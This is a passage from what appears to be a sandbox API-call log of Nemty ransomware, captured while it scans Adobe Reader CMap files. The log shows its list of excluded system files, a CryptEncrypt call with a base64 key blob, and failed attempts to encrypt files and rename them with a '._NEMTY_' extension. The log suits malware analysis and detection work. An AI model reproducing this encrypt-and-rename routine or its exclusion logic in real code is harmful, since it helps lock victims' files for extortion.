[0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="...") returned 1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="windows") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="rsa") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="ntldr") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="IO.SYS") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="boot.ini") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="boot.ini") returned -1 [0195.635] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="AUTOEXEC.BAT") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="ntuser.dat") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="desktop.ini") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="CONFIG.SYS") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="RECYCLER") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="BOOTSECT.BAK") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="bootmgr") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="programdata") returned -1 [0195.636] lstrcmpiW (lpString1="90msp-RKSJ-H", lpString2="appdata") returned -1 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-H", lpUsedDefaultChar=0x0) returned 12 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-H", lpUsedDefaultChar=0x0) returned 12 [0195.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-H", lpUsedDefaultChar=0x0) returned 12 [0195.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-H", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-H", lpUsedDefaultChar=0x0) returned 12 [0195.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.636] Sleep (dwMilliseconds=0x5) [0195.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28418090, dwHighDateTime=0x1d561e8)) [0195.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28418090, dwHighDateTime=0x1d561e8)) [0195.637] GetLastError () returned 0x5 [0195.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.637] GetLastError () returned 0x5 [0195.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.638] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0195.638] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="fcX1RE/1wPNKMePPgGPhh3gjL1MeDfOcocWFP+JkKmswPqx2Yug1C4anabQNl+rW\r\nBCETKDqXhiP5MKTVFZ3SB+Z9HNmtv8vlxvyTFqoBBhRNYwi6Ia+rG8aX+Ft2yvgY\r\n8B/lTjNhm9MRedRJnn1vXaxj4gLP9BZLJWoffSEtrv0B7Nm7lR4Dbfcq/RkJvt+r\r\nRHywKS5l5kg574CBKoO86SlmQ+K2QFOA+V0eFOLQVqDCQK+SGdiYa5TpBOe3TOwe\r\nPrDJuE/TN/9lfzDDeTkOuYi30nlDonQuKwHfOMEEP/dBS9wXztXUlXhqGDYD5LxL\r\n04FpMYgrWtqKEnGp3gfggQ==\r\n", pcchString=0x653e91c) returned 1 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0195.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.638] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.743] CloseHandle (hObject=0xffffffff) returned 0 [0195.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h._nemty_kgobjgd_")) returned 0 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.744] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2=".") returned 1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="..") returned 1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="...") returned 1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="windows") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="$RECYCLE.BIN") returned 1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="rsa") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="NTDETECT.COM") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="ntldr") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="MSDOS.SYS") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="IO.SYS") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="boot.ini") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="boot.ini") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="AUTOEXEC.BAT") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="ntuser.dat") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="desktop.ini") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="CONFIG.SYS") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="RECYCLER") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="BOOTSECT.BAK") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="bootmgr") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="programdata") returned -1 [0195.744] lstrcmpiW (lpString1="90msp-RKSJ-V", lpString2="appdata") returned -1 [0195.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-V", lpUsedDefaultChar=0x0) returned 12 [0195.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-V", lpUsedDefaultChar=0x0) returned 12 [0195.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.744] 